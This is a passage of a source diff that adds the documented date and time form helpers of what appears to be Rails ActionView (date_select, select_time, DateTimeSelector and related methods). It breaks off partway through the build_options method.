+ # Returns a set of select tags (one for year, month, and day) pre-selected for accessing a specified date-based
+ # attribute (identified by +method+) on an object assigned to the template (identified by +object+).
+ #
+ # ==== Options
+ # * <tt>:use_month_numbers</tt> - Set to true if you want to use month numbers rather than month names (e.g.
+ # "2" instead of "February").
+ # * <tt>:use_two_digit_numbers</tt> - Set to true if you want to display two digit month and day numbers (e.g.
+ # "02" instead of "February" and "08" instead of "8").
+ # * <tt>:use_short_month</tt> - Set to true if you want to use abbreviated month names instead of full
+ # month names (e.g. "Feb" instead of "February").
+ # * <tt>:add_month_numbers</tt> - Set to true if you want to use both month numbers and month names (e.g.
+ # "2 - February" instead of "February").
+ # * <tt>:use_month_names</tt> - Set to an array with 12 month names if you want to customize month names.
+ # Note: You can also use Rails' i18n functionality for this.
+ # * <tt>:month_format_string</tt> - Set to a format string. The string gets passed keys +:number+ (integer)
+ # and +:name+ (string). A format string would be something like "%{name} (%<number>02d)" for example.
+ # See <tt>Kernel.sprintf</tt> for documentation on format sequences.
+ # * <tt>:date_separator</tt> - Specifies a string to separate the date fields. Default is "" (i.e. nothing).
+ # * <tt>:start_year</tt> - Set the start year for the year select. Default is <tt>Date.today.year - 5</tt> if
+ # you are creating new record. While editing existing record, <tt>:start_year</tt> defaults to
+ # the current selected year minus 5.
+ # * <tt>:end_year</tt> - Set the end year for the year select. Default is <tt>Date.today.year + 5</tt> if
+ # you are creating new record. While editing existing record, <tt>:end_year</tt> defaults to
+ # the current selected year plus 5.
+ # * <tt>:discard_day</tt> - Set to true if you don't want to show a day select. This includes the day
+ # as a hidden field instead of showing a select field. Also note that this implicitly sets the day to be the
+ # first of the given month in order to not create invalid dates like 31 February.
+ # * <tt>:discard_month</tt> - Set to true if you don't want to show a month select. This includes the month
+ # as a hidden field instead of showing a select field. Also note that this implicitly sets :discard_day to true.
+ # * <tt>:discard_year</tt> - Set to true if you don't want to show a year select. This includes the year
+ # as a hidden field instead of showing a select field.
+ # * <tt>:order</tt> - Set to an array containing <tt>:day</tt>, <tt>:month</tt> and <tt>:year</tt> to
+ # customize the order in which the select fields are shown. If you leave out any of the symbols, the respective
+ # select will not be shown (like when you set <tt>discard_xxx: true</tt>. Defaults to the order defined in
+ # the respective locale (e.g. [:year, :month, :day] in the en locale that ships with Rails).
+ # * <tt>:include_blank</tt> - Include a blank option in every select field so it's possible to set empty
+ # dates.
+ # * <tt>:default</tt> - Set a default date if the affected date isn't set or is nil.
+ # * <tt>:selected</tt> - Set a date that overrides the actual value.
+ # * <tt>:disabled</tt> - Set to true if you want show the select fields as disabled.
+ # * <tt>:prompt</tt> - Set to true (for a generic prompt), a prompt string or a hash of prompt strings
+ # for <tt>:year</tt>, <tt>:month</tt>, <tt>:day</tt>, <tt>:hour</tt>, <tt>:minute</tt> and <tt>:second</tt>.
+ # Setting this option prepends a select option with a generic prompt (Day, Month, Year, Hour, Minute, Seconds)
+ # or the given prompt string.
+ # * <tt>:with_css_classes</tt> - Set to true if you want assign different styles for 'select' tags. This option
+ # automatically set classes 'year', 'month', 'day', 'hour', 'minute' and 'second' for your 'select' tags.
+ #
+ # If anything is passed in the +html_options+ hash it will be applied to every select tag in the set.
+ #
+ # NOTE: Discarded selects will default to 1. So if no month select is available, January will be assumed.
+ #
+ # # Generates a date select that when POSTed is stored in the article variable, in the written_on attribute.
+ # date_select("article", "written_on")
+ #
+ # # Generates a date select that when POSTed is stored in the article variable, in the written_on attribute,
+ # # with the year in the year drop down box starting at 1995.
+ # date_select("article", "written_on", start_year: 1995)
+ #
+ # # Generates a date select that when POSTed is stored in the article variable, in the written_on attribute,
+ # # with the year in the year drop down box starting at 1995, numbers used for months instead of words,
+ # # and without a day select box.
+ # date_select("article", "written_on", start_year: 1995, use_month_numbers: true,
+ # discard_day: true, include_blank: true)
+ #
+ # # Generates a date select that when POSTed is stored in the article variable, in the written_on attribute,
+ # # with two digit numbers used for months and days.
+ # date_select("article", "written_on", use_two_digit_numbers: true)
+ #
+ # # Generates a date select that when POSTed is stored in the article variable, in the written_on attribute
+ # # with the fields ordered as day, month, year rather than month, day, year.
+ # date_select("article", "written_on", order: [:day, :month, :year])
+ #
+ # # Generates a date select that when POSTed is stored in the user variable, in the birthday attribute
+ # # lacking a year field.
+ # date_select("user", "birthday", order: [:month, :day])
+ #
+ # # Generates a date select that when POSTed is stored in the article variable, in the written_on attribute
+ # # which is initially set to the date 3 days from the current date
+ # date_select("article", "written_on", default: 3.days.from_now)
+ #
+ # # Generates a date select that when POSTed is stored in the article variable, in the written_on attribute
+ # # which is set in the form with todays date, regardless of the value in the Active Record object.
+ # date_select("article", "written_on", selected: Date.today)
+ #
+ # # Generates a date select that when POSTed is stored in the credit_card variable, in the bill_due attribute
+ # # that will have a default day of 20.
+ # date_select("credit_card", "bill_due", default: { day: 20 })
+ #
+ # # Generates a date select with custom prompts.
+ # date_select("article", "written_on", prompt: { day: 'Select day', month: 'Select month', year: 'Select year' })
+ #
+ # The selects are prepared for multi-parameter assignment to an Active Record object.
+ #
+ # Note: If the day is not included as an option but the month is, the day will be set to the 1st to ensure that
+ # all month choices are valid.
+ def date_select(object_name, method, options = {}, html_options = {})
+ Tags::DateSelect.new(object_name, method, self, options, html_options).render
+ end
+
+ # Returns a set of select tags (one for hour, minute and optionally second) pre-selected for accessing a
+ # specified time-based attribute (identified by +method+) on an object assigned to the template (identified by
+ # +object+). You can include the seconds with <tt>:include_seconds</tt>. You can get hours in the AM/PM format
+ # with <tt>:ampm</tt> option.
+ #
+ # This method will also generate 3 input hidden tags, for the actual year, month and day unless the option
+ # <tt>:ignore_date</tt> is set to +true+. If you set the <tt>:ignore_date</tt> to +true+, you must have a
+ # +date_select+ on the same method within the form otherwise an exception will be raised.
+ #
+ # If anything is passed in the html_options hash it will be applied to every select tag in the set.
+ #
+ # # Creates a time select tag that, when POSTed, will be stored in the article variable in the sunrise attribute.
+ # time_select("article", "sunrise")
+ #
+ # # Creates a time select tag with a seconds field that, when POSTed, will be stored in the article variables in
+ # # the sunrise attribute.
+ # time_select("article", "start_time", include_seconds: true)
+ #
+ # # You can set the <tt>:minute_step</tt> to 15 which will give you: 00, 15, 30 and 45.
+ # time_select 'game', 'game_time', {minute_step: 15}
+ #
+ # # Creates a time select tag with a custom prompt. Use <tt>prompt: true</tt> for generic prompts.
+ # time_select("article", "written_on", prompt: {hour: 'Choose hour', minute: 'Choose minute', second: 'Choose seconds'})
+ # time_select("article", "written_on", prompt: {hour: true}) # generic prompt for hours
+ # time_select("article", "written_on", prompt: true) # generic prompts for all
+ #
+ # # You can set :ampm option to true which will show the hours as: 12 PM, 01 AM .. 11 PM.
+ # time_select 'game', 'game_time', {ampm: true}
+ #
+ # The selects are prepared for multi-parameter assignment to an Active Record object.
+ #
+ # Note: If the day is not included as an option but the month is, the day will be set to the 1st to ensure that
+ # all month choices are valid.
+ def time_select(object_name, method, options = {}, html_options = {})
+ Tags::TimeSelect.new(object_name, method, self, options, html_options).render
+ end
+
+ # Returns a set of select tags (one for year, month, day, hour, and minute) pre-selected for accessing a
+ # specified datetime-based attribute (identified by +method+) on an object assigned to the template (identified
+ # by +object+).
+ #
+ # If anything is passed in the html_options hash it will be applied to every select tag in the set.
+ #
+ # # Generates a datetime select that, when POSTed, will be stored in the article variable in the written_on
+ # # attribute.
+ # datetime_select("article", "written_on")
+ #
+ # # Generates a datetime select with a year select that starts at 1995 that, when POSTed, will be stored in the
+ # # article variable in the written_on attribute.
+ # datetime_select("article", "written_on", start_year: 1995)
+ #
+ # # Generates a datetime select with a default value of 3 days from the current time that, when POSTed, will
+ # # be stored in the trip variable in the departing attribute.
+ # datetime_select("trip", "departing", default: 3.days.from_now)
+ #
+ # # Generate a datetime select with hours in the AM/PM format
+ # datetime_select("article", "written_on", ampm: true)
+ #
+ # # Generates a datetime select that discards the type that, when POSTed, will be stored in the article variable
+ # # as the written_on attribute.
+ # datetime_select("article", "written_on", discard_type: true)
+ #
+ # # Generates a datetime select with a custom prompt. Use <tt>prompt: true</tt> for generic prompts.
+ # datetime_select("article", "written_on", prompt: {day: 'Choose day', month: 'Choose month', year: 'Choose year'})
+ # datetime_select("article", "written_on", prompt: {hour: true}) # generic prompt for hours
+ # datetime_select("article", "written_on", prompt: true) # generic prompts for all
+ #
+ # The selects are prepared for multi-parameter assignment to an Active Record object.
+ def datetime_select(object_name, method, options = {}, html_options = {})
+ Tags::DatetimeSelect.new(object_name, method, self, options, html_options).render
+ end
+
+ # Returns a set of HTML select-tags (one for year, month, day, hour, minute, and second) pre-selected with the
+ # +datetime+. It's also possible to explicitly set the order of the tags using the <tt>:order</tt> option with
+ # an array of symbols <tt>:year</tt>, <tt>:month</tt> and <tt>:day</tt> in the desired order. If you do not
+ # supply a Symbol, it will be appended onto the <tt>:order</tt> passed in. You can also add
+ # <tt>:date_separator</tt>, <tt>:datetime_separator</tt> and <tt>:time_separator</tt> keys to the +options+ to
+ # control visual display of the elements.
+ #
+ # If anything is passed in the html_options hash it will be applied to every select tag in the set.
+ #
+ # my_date_time = Time.now + 4.days
+ #
+ # # Generates a datetime select that defaults to the datetime in my_date_time (four days after today).
+ # select_datetime(my_date_time)
+ #
+ # # Generates a datetime select that defaults to today (no specified datetime)
+ # select_datetime()
+ #
+ # # Generates a datetime select that defaults to the datetime in my_date_time (four days after today)
+ # # with the fields ordered year, month, day rather than month, day, year.
+ # select_datetime(my_date_time, order: [:year, :month, :day])
+ #
+ # # Generates a datetime select that defaults to the datetime in my_date_time (four days after today)
+ # # with a '/' between each date field.
+ # select_datetime(my_date_time, date_separator: '/')
+ #
+ # # Generates a datetime select that defaults to the datetime in my_date_time (four days after today)
+ # # with a date fields separated by '/', time fields separated by '' and the date and time fields
+ # # separated by a comma (',').
+ # select_datetime(my_date_time, date_separator: '/', time_separator: '', datetime_separator: ',')
+ #
+ # # Generates a datetime select that discards the type of the field and defaults to the datetime in
+ # # my_date_time (four days after today)
+ # select_datetime(my_date_time, discard_type: true)
+ #
+ # # Generate a datetime field with hours in the AM/PM format
+ # select_datetime(my_date_time, ampm: true)
+ #
+ # # Generates a datetime select that defaults to the datetime in my_date_time (four days after today)
+ # # prefixed with 'payday' rather than 'date'
+ # select_datetime(my_date_time, prefix: 'payday')
+ #
+ # # Generates a datetime select with a custom prompt. Use <tt>prompt: true</tt> for generic prompts.
+ # select_datetime(my_date_time, prompt: {day: 'Choose day', month: 'Choose month', year: 'Choose year'})
+ # select_datetime(my_date_time, prompt: {hour: true}) # generic prompt for hours
+ # select_datetime(my_date_time, prompt: true) # generic prompts for all
+ def select_datetime(datetime = Time.current, options = {}, html_options = {})
+ DateTimeSelector.new(datetime, options, html_options).select_datetime
+ end
+
+ # Returns a set of HTML select-tags (one for year, month, and day) pre-selected with the +date+.
+ # It's possible to explicitly set the order of the tags using the <tt>:order</tt> option with an array of
+ # symbols <tt>:year</tt>, <tt>:month</tt> and <tt>:day</tt> in the desired order.
+ # If the array passed to the <tt>:order</tt> option does not contain all the three symbols, all tags will be hidden.
+ #
+ # If anything is passed in the html_options hash it will be applied to every select tag in the set.
+ #
+ # my_date = Time.now + 6.days
+ #
+ # # Generates a date select that defaults to the date in my_date (six days after today).
+ # select_date(my_date)
+ #
+ # # Generates a date select that defaults to today (no specified date).
+ # select_date()
+ #
+ # # Generates a date select that defaults to the date in my_date (six days after today)
+ # # with the fields ordered year, month, day rather than month, day, year.
+ # select_date(my_date, order: [:year, :month, :day])
+ #
+ # # Generates a date select that discards the type of the field and defaults to the date in
+ # # my_date (six days after today).
+ # select_date(my_date, discard_type: true)
+ #
+ # # Generates a date select that defaults to the date in my_date,
+ # # which has fields separated by '/'.
+ # select_date(my_date, date_separator: '/')
+ #
+ # # Generates a date select that defaults to the datetime in my_date (six days after today)
+ # # prefixed with 'payday' rather than 'date'.
+ # select_date(my_date, prefix: 'payday')
+ #
+ # # Generates a date select with a custom prompt. Use <tt>prompt: true</tt> for generic prompts.
+ # select_date(my_date, prompt: {day: 'Choose day', month: 'Choose month', year: 'Choose year'})
+ # select_date(my_date, prompt: {hour: true}) # generic prompt for hours
+ # select_date(my_date, prompt: true) # generic prompts for all
+ def select_date(date = Date.current, options = {}, html_options = {})
+ DateTimeSelector.new(date, options, html_options).select_date
+ end
+
+ # Returns a set of HTML select-tags (one for hour and minute).
+ # You can set <tt>:time_separator</tt> key to format the output, and
+ # the <tt>:include_seconds</tt> option to include an input for seconds.
+ #
+ # If anything is passed in the html_options hash it will be applied to every select tag in the set.
+ #
+ # my_time = Time.now + 5.days + 7.hours + 3.minutes + 14.seconds
+ #
+ # # Generates a time select that defaults to the time in my_time.
+ # select_time(my_time)
+ #
+ # # Generates a time select that defaults to the current time (no specified time).
+ # select_time()
+ #
+ # # Generates a time select that defaults to the time in my_time,
+ # # which has fields separated by ':'.
+ # select_time(my_time, time_separator: ':')
+ #
+ # # Generates a time select that defaults to the time in my_time,
+ # # that also includes an input for seconds.
+ # select_time(my_time, include_seconds: true)
+ #
+ # # Generates a time select that defaults to the time in my_time, that has fields
+ # # separated by ':' and includes an input for seconds.
+ # select_time(my_time, time_separator: ':', include_seconds: true)
+ #
+ # # Generate a time select field with hours in the AM/PM format
+ # select_time(my_time, ampm: true)
+ #
+ # # Generates a time select field with hours that range from 2 to 14
+ # select_time(my_time, start_hour: 2, end_hour: 14)
+ #
+ # # Generates a time select with a custom prompt. Use <tt>:prompt</tt> to true for generic prompts.
+ # select_time(my_time, prompt: {day: 'Choose day', month: 'Choose month', year: 'Choose year'})
+ # select_time(my_time, prompt: {hour: true}) # generic prompt for hours
+ # select_time(my_time, prompt: true) # generic prompts for all
+ def select_time(datetime = Time.current, options = {}, html_options = {})
+ DateTimeSelector.new(datetime, options, html_options).select_time
+ end
+
+ # Returns a select tag with options for each of the seconds 0 through 59 with the current second selected.
+ # The <tt>datetime</tt> can be either a +Time+ or +DateTime+ object or an integer.
+ # Override the field name using the <tt>:field_name</tt> option, 'second' by default.
+ #
+ # my_time = Time.now + 16.minutes
+ #
+ # # Generates a select field for seconds that defaults to the seconds for the time in my_time.
+ # select_second(my_time)
+ #
+ # # Generates a select field for seconds that defaults to the number given.
+ # select_second(33)
+ #
+ # # Generates a select field for seconds that defaults to the seconds for the time in my_time
+ # # that is named 'interval' rather than 'second'.
+ # select_second(my_time, field_name: 'interval')
+ #
+ # # Generates a select field for seconds with a custom prompt. Use <tt>prompt: true</tt> for a
+ # # generic prompt.
+ # select_second(14, prompt: 'Choose seconds')
+ def select_second(datetime, options = {}, html_options = {})
+ DateTimeSelector.new(datetime, options, html_options).select_second
+ end
+
+ # Returns a select tag with options for each of the minutes 0 through 59 with the current minute selected.
+ # Also can return a select tag with options by <tt>minute_step</tt> from 0 through 59 with the 00 minute
+ # selected. The <tt>datetime</tt> can be either a +Time+ or +DateTime+ object or an integer.
+ # Override the field name using the <tt>:field_name</tt> option, 'minute' by default.
+ #
+ # my_time = Time.now + 6.hours
+ #
+ # # Generates a select field for minutes that defaults to the minutes for the time in my_time.
+ # select_minute(my_time)
+ #
+ # # Generates a select field for minutes that defaults to the number given.
+ # select_minute(14)
+ #
+ # # Generates a select field for minutes that defaults to the minutes for the time in my_time
+ # # that is named 'moment' rather than 'minute'.
+ # select_minute(my_time, field_name: 'moment')
+ #
+ # # Generates a select field for minutes with a custom prompt. Use <tt>prompt: true</tt> for a
+ # # generic prompt.
+ # select_minute(14, prompt: 'Choose minutes')
+ def select_minute(datetime, options = {}, html_options = {})
+ DateTimeSelector.new(datetime, options, html_options).select_minute
+ end
+
+ # Returns a select tag with options for each of the hours 0 through 23 with the current hour selected.
+ # The <tt>datetime</tt> can be either a +Time+ or +DateTime+ object or an integer.
+ # Override the field name using the <tt>:field_name</tt> option, 'hour' by default.
+ #
+ # my_time = Time.now + 6.hours
+ #
+ # # Generates a select field for hours that defaults to the hour for the time in my_time.
+ # select_hour(my_time)
+ #
+ # # Generates a select field for hours that defaults to the number given.
+ # select_hour(13)
+ #
+ # # Generates a select field for hours that defaults to the hour for the time in my_time
+ # # that is named 'stride' rather than 'hour'.
+ # select_hour(my_time, field_name: 'stride')
+ #
+ # # Generates a select field for hours with a custom prompt. Use <tt>prompt: true</tt> for a
+ # # generic prompt.
+ # select_hour(13, prompt: 'Choose hour')
+ #
+ # # Generate a select field for hours in the AM/PM format
+ # select_hour(my_time, ampm: true)
+ #
+ # # Generates a select field that includes options for hours from 2 to 14.
+ # select_hour(my_time, start_hour: 2, end_hour: 14)
+ def select_hour(datetime, options = {}, html_options = {})
+ DateTimeSelector.new(datetime, options, html_options).select_hour
+ end
+
+ # Returns a select tag with options for each of the days 1 through 31 with the current day selected.
+ # The <tt>date</tt> can also be substituted for a day number.
+ # If you want to display days with a leading zero set the <tt>:use_two_digit_numbers</tt> key in +options+ to true.
+ # Override the field name using the <tt>:field_name</tt> option, 'day' by default.
+ #
+ # my_date = Time.now + 2.days
+ #
+ # # Generates a select field for days that defaults to the day for the date in my_date.
+ # select_day(my_date)
+ #
+ # # Generates a select field for days that defaults to the number given.
+ # select_day(5)
+ #
+ # # Generates a select field for days that defaults to the number given, but displays it with two digits.
+ # select_day(5, use_two_digit_numbers: true)
+ #
+ # # Generates a select field for days that defaults to the day for the date in my_date
+ # # that is named 'due' rather than 'day'.
+ # select_day(my_date, field_name: 'due')
+ #
+ # # Generates a select field for days with a custom prompt. Use <tt>prompt: true</tt> for a
+ # # generic prompt.
+ # select_day(5, prompt: 'Choose day')
+ def select_day(date, options = {}, html_options = {})
+ DateTimeSelector.new(date, options, html_options).select_day
+ end
+
+ # Returns a select tag with options for each of the months January through December with the current month
+ # selected. The month names are presented as keys (what's shown to the user) and the month numbers (1-12) are
+ # used as values (what's submitted to the server). It's also possible to use month numbers for the presentation
+ # instead of names -- set the <tt>:use_month_numbers</tt> key in +options+ to true for this to happen. If you
+ # want both numbers and names, set the <tt>:add_month_numbers</tt> key in +options+ to true. If you would prefer
+ # to show month names as abbreviations, set the <tt>:use_short_month</tt> key in +options+ to true. If you want
+ # to use your own month names, set the <tt>:use_month_names</tt> key in +options+ to an array of 12 month names.
+ # If you want to display months with a leading zero set the <tt>:use_two_digit_numbers</tt> key in +options+ to true.
+ # Override the field name using the <tt>:field_name</tt> option, 'month' by default.
+ #
+ # # Generates a select field for months that defaults to the current month that
+ # # will use keys like "January", "March".
+ # select_month(Date.today)
+ #
+ # # Generates a select field for months that defaults to the current month that
+ # # is named "start" rather than "month".
+ # select_month(Date.today, field_name: 'start')
+ #
+ # # Generates a select field for months that defaults to the current month that
+ # # will use keys like "1", "3".
+ # select_month(Date.today, use_month_numbers: true)
+ #
+ # # Generates a select field for months that defaults to the current month that
+ # # will use keys like "1 - January", "3 - March".
+ # select_month(Date.today, add_month_numbers: true)
+ #
+ # # Generates a select field for months that defaults to the current month that
+ # # will use keys like "Jan", "Mar".
+ # select_month(Date.today, use_short_month: true)
+ #
+ # # Generates a select field for months that defaults to the current month that
+ # # will use keys like "Januar", "Marts."
+ # select_month(Date.today, use_month_names: %w(Januar Februar Marts ...))
+ #
+ # # Generates a select field for months that defaults to the current month that
+ # # will use keys with two digit numbers like "01", "03".
+ # select_month(Date.today, use_two_digit_numbers: true)
+ #
+ # # Generates a select field for months with a custom prompt. Use <tt>prompt: true</tt> for a
+ # # generic prompt.
+ # select_month(14, prompt: 'Choose month')
+ def select_month(date, options = {}, html_options = {})
+ DateTimeSelector.new(date, options, html_options).select_month
+ end
+
+ # Returns a select tag with options for each of the five years on each side of the current, which is selected.
+ # The five year radius can be changed using the <tt>:start_year</tt> and <tt>:end_year</tt> keys in the
+ # +options+. Both ascending and descending year lists are supported by making <tt>:start_year</tt> less than or
+ # greater than <tt>:end_year</tt>. The <tt>date</tt> can also be substituted for a year given as a number.
+ # Override the field name using the <tt>:field_name</tt> option, 'year' by default.
+ #
+ # # Generates a select field for years that defaults to the current year that
+ # # has ascending year values.
+ # select_year(Date.today, start_year: 1992, end_year: 2007)
+ #
+ # # Generates a select field for years that defaults to the current year that
+ # # is named 'birth' rather than 'year'.
+ # select_year(Date.today, field_name: 'birth')
+ #
+ # # Generates a select field for years that defaults to the current year that
+ # # has descending year values.
+ # select_year(Date.today, start_year: 2005, end_year: 1900)
+ #
+ # # Generates a select field for years that defaults to the year 2006 that
+ # # has ascending year values.
+ # select_year(2006, start_year: 2000, end_year: 2010)
+ #
+ # # Generates a select field for years with a custom prompt. Use <tt>prompt: true</tt> for a
+ # # generic prompt.
+ # select_year(14, prompt: 'Choose year')
+ def select_year(date, options = {}, html_options = {})
+ DateTimeSelector.new(date, options, html_options).select_year
+ end
+
+ # Returns an HTML time tag for the given date or time.
+ #
+ # time_tag Date.today # =>
+ # <time datetime="2010-11-04">November 04, 2010</time>
+ # time_tag Time.now # =>
+ # <time datetime="2010-11-04T17:55:45+01:00">November 04, 2010 17:55</time>
+ # time_tag Date.yesterday, 'Yesterday' # =>
+ # <time datetime="2010-11-03">Yesterday</time>
+ # time_tag Date.today, pubdate: true # =>
+ # <time datetime="2010-11-04" pubdate="pubdate">November 04, 2010</time>
+ # time_tag Date.today, datetime: Date.today.strftime('%G-W%V') # =>
+ # <time datetime="2010-W44">November 04, 2010</time>
+ #
+ # <%= time_tag Time.now do %>
+ # <span>Right now</span>
+ # <% end %>
+ # # => <time datetime="2010-11-04T17:55:45+01:00"><span>Right now</span></time>
+ def time_tag(date_or_time, *args, &block)
+ options = args.extract_options!
+ format = options.delete(:format) || :long
+ content = args.first || I18n.l(date_or_time, :format => format)
+ datetime = date_or_time.acts_like?(:time) ? date_or_time.xmlschema : date_or_time.iso8601
+
+ content_tag(:time, content, options.reverse_merge(:datetime => datetime), &block)
+ end
+ end
+
+ class DateTimeSelector #:nodoc:
+ include ActionView::Helpers::TagHelper
+
+ DEFAULT_PREFIX = 'date'.freeze
+ POSITION = {
+ :year => 1, :month => 2, :day => 3, :hour => 4, :minute => 5, :second => 6
+ }.freeze
+
+ AMPM_TRANSLATION = Hash[
+ [[0, "12 AM"], [1, "01 AM"], [2, "02 AM"], [3, "03 AM"],
+ [4, "04 AM"], [5, "05 AM"], [6, "06 AM"], [7, "07 AM"],
+ [8, "08 AM"], [9, "09 AM"], [10, "10 AM"], [11, "11 AM"],
+ [12, "12 PM"], [13, "01 PM"], [14, "02 PM"], [15, "03 PM"],
+ [16, "04 PM"], [17, "05 PM"], [18, "06 PM"], [19, "07 PM"],
+ [20, "08 PM"], [21, "09 PM"], [22, "10 PM"], [23, "11 PM"]]
+ ].freeze
+
+ def initialize(datetime, options = {}, html_options = {})
+ @options = options.dup
+ @html_options = html_options.dup
+ @datetime = datetime
+ @options[:datetime_separator] ||= ' &mdash; '
+ @options[:time_separator] ||= ' : '
+ end
+
+ def select_datetime
+ order = date_order.dup
+ order -= [:hour, :minute, :second]
+ @options[:discard_year] ||= true unless order.include?(:year)
+ @options[:discard_month] ||= true unless order.include?(:month)
+ @options[:discard_day] ||= true if @options[:discard_month] || !order.include?(:day)
+ @options[:discard_minute] ||= true if @options[:discard_hour]
+ @options[:discard_second] ||= true unless @options[:include_seconds] && !@options[:discard_minute]
+
+ set_day_if_discarded
+
+ if @options[:tag] && @options[:ignore_date]
+ select_time
+ else
+ [:day, :month, :year].each { |o| order.unshift(o) unless order.include?(o) }
+ order += [:hour, :minute, :second] unless @options[:discard_hour]
+
+ build_selects_from_types(order)
+ end
+ end
+
+ def select_date
+ order = date_order.dup
+
+ @options[:discard_hour] = true
+ @options[:discard_minute] = true
+ @options[:discard_second] = true
+
+ @options[:discard_year] ||= true unless order.include?(:year)
+ @options[:discard_month] ||= true unless order.include?(:month)
+ @options[:discard_day] ||= true if @options[:discard_month] || !order.include?(:day)
+
+ set_day_if_discarded
+
+ [:day, :month, :year].each { |o| order.unshift(o) unless order.include?(o) }
+
+ build_selects_from_types(order)
+ end
+
+ def select_time
+ order = []
+
+ @options[:discard_month] = true
+ @options[:discard_year] = true
+ @options[:discard_day] = true
+ @options[:discard_second] ||= true unless @options[:include_seconds]
+
+ order += [:year, :month, :day] unless @options[:ignore_date]
+
+ order += [:hour, :minute]
+ order << :second if @options[:include_seconds]
+
+ build_selects_from_types(order)
+ end
+
+ def select_second
+ if @options[:use_hidden] || @options[:discard_second]
+ build_hidden(:second, sec) if @options[:include_seconds]
+ else
+ build_options_and_select(:second, sec)
+ end
+ end
+
+ def select_minute
+ if @options[:use_hidden] || @options[:discard_minute]
+ build_hidden(:minute, min)
+ else
+ build_options_and_select(:minute, min, :step => @options[:minute_step])
+ end
+ end
+
+ def select_hour
+ if @options[:use_hidden] || @options[:discard_hour]
+ build_hidden(:hour, hour)
+ else
+ options = {}
+ options[:ampm] = @options[:ampm] || false
+ options[:start] = @options[:start_hour] || 0
+ options[:end] = @options[:end_hour] || 23
+ build_options_and_select(:hour, hour, options)
+ end
+ end
+
+ def select_day
+ if @options[:use_hidden] || @options[:discard_day]
+ build_hidden(:day, day || 1)
+ else
+ build_options_and_select(:day, day, :start => 1, :end => 31, :leading_zeros => false, :use_two_digit_numbers => @options[:use_two_digit_numbers])
+ end
+ end
+
+ def select_month
+ if @options[:use_hidden] || @options[:discard_month]
+ build_hidden(:month, month || 1)
+ else
+ month_options = []
+ 1.upto(12) do |month_number|
+ options = { :value => month_number }
+ options[:selected] = "selected" if month == month_number
+ month_options << content_tag(:option, month_name(month_number), options) + "\n"
+ end
+ build_select(:month, month_options.join)
+ end
+ end
+
+ def select_year
+ if !@datetime || @datetime == 0
+ val = '1'
+ middle_year = Date.today.year
+ else
+ val = middle_year = year
+ end
+
+ if @options[:use_hidden] || @options[:discard_year]
+ build_hidden(:year, val)
+ else
+ options = {}
+ options[:start] = @options[:start_year] || middle_year - 5
+ options[:end] = @options[:end_year] || middle_year + 5
+ options[:step] = options[:start] < options[:end] ? 1 : -1
+ options[:leading_zeros] = false
+ options[:max_years_allowed] = @options[:max_years_allowed] || 1000
+
+ if (options[:end] - options[:start]).abs > options[:max_years_allowed]
+ raise ArgumentError, "There are too many years options to be built. Are you sure you haven't mistyped something? You can provide the :max_years_allowed parameter."
+ end
+
+ build_options_and_select(:year, val, options)
+ end
+ end
+
+ private
+ %w( sec min hour day month year ).each do |method|
+ define_method(method) do
+ @datetime.kind_of?(Numeric) ? @datetime : @datetime.send(method) if @datetime
+ end
+ end
+
+ # If the day is hidden, the day should be set to the 1st so all month and year choices are
+ # valid. Otherwise, February 31st or February 29th, 2011 can be selected, which are invalid.
+ def set_day_if_discarded
+ if @datetime && @options[:discard_day]
+ @datetime = @datetime.change(:day => 1)
+ end
+ end
+
+ # Returns translated month names, but also ensures that a custom month
+ # name array has a leading nil element.
+ def month_names
+ @month_names ||= begin
+ month_names = @options[:use_month_names] || translated_month_names
+ month_names.unshift(nil) if month_names.size < 13
+ month_names
+ end
+ end
+
+ # Returns translated month names.
+ # => [nil, "January", "February", "March",
+ # "April", "May", "June", "July",
+ # "August", "September", "October",
+ # "November", "December"]
+ #
+ # If <tt>:use_short_month</tt> option is set
+ # => [nil, "Jan", "Feb", "Mar", "Apr", "May", "Jun",
+ # "Jul", "Aug", "Sep", "Oct", "Nov", "Dec"]
+ def translated_month_names
+ key = @options[:use_short_month] ? :'date.abbr_month_names' : :'date.month_names'
+ I18n.translate(key, :locale => @options[:locale])
+ end
+
+ # Looks up month names by number (1-based):
+ #
+ # month_name(1) # => "January"
+ #
+ # If the <tt>:use_month_numbers</tt> option is passed:
+ #
+ # month_name(1) # => 1
+ #
+ # If the <tt>:use_two_month_numbers</tt> option is passed:
+ #
+ # month_name(1) # => '01'
+ #
+ # If the <tt>:add_month_numbers</tt> option is passed:
+ #
+ # month_name(1) # => "1 - January"
+ #
+ # If the <tt>:month_format_string</tt> option is passed:
+ #
+ # month_name(1) # => "January (01)"
+ #
+ # depending on the format string.
+ def month_name(number)
+ if @options[:use_month_numbers]
+ number
+ elsif @options[:use_two_digit_numbers]
+ '%02d' % number
+ elsif @options[:add_month_numbers]
+ "#{number} - #{month_names[number]}"
+ elsif format_string = @options[:month_format_string]
+ format_string % {number: number, name: month_names[number]}
+ else
+ month_names[number]
+ end
+ end
+
+ def date_order
+ @date_order ||= @options[:order] || translated_date_order
+ end
+
+ def translated_date_order
+ date_order = I18n.translate(:'date.order', :locale => @options[:locale], :default => [])
+ date_order = date_order.map(&:to_sym)
+
+ forbidden_elements = date_order - [:year, :month, :day]
+ if forbidden_elements.any?
+ raise StandardError,
+ "#{@options[:locale]}.date.order only accepts :year, :month and :day"
+ end
+
+ date_order
+ end
+
+ # Build full select tag from date type and options.
+ def build_options_and_select(type, selected, options = {})
+ build_select(type, build_options(selected, options))
+ end
+
+ # Build select option HTML from date value and options.
+ # build_options(15, start: 1, end: 31)
+ # => "<option value="1">1</option>
+ # <option value="2">2</option>
+ # <option value="3">3</option>..."
+ #
+ # If <tt>use_two_digit_numbers: true</tt> option is passed
+ # build_options(15, start: 1, end: 31, use_two_digit_numbers: true)
+ # => "<option value="1">01</option>
+ # <option value="2">02</option>
+ # <option value="3">03</option>..."
+ #
+ # If <tt>:step</tt> options is passed
+ # build_options(15, start: 1, end: 31, step: 2)
+ # => "<option value="1">1</option>
+ # <option value="3">3</option>
+ # <option value="5">5</option>..."
+ def build_options(selected, options = {})
+ options = {
+ leading_zeros: true, ampm: false, use_two_digit_numbers: false
+ }.merge!(options)
+
+ start = options.delete(:start) || 0
+ stop = options.delete(:end) || 59
+ step = options.delete(:step) || 1
+ leading_zeros = options.delete(:leading_zeros)
+
+ select_options = []
+ start.step(stop, step) do |i|
+ value = leading_zeros ? sprintf("%02d", i) : i
+ tag_options = { :value => value }
+ tag_options[:selected] = "selected" if selected == i
+ text = options[:use_two_digit_numbers] ? sprintf("%02d", i) : value
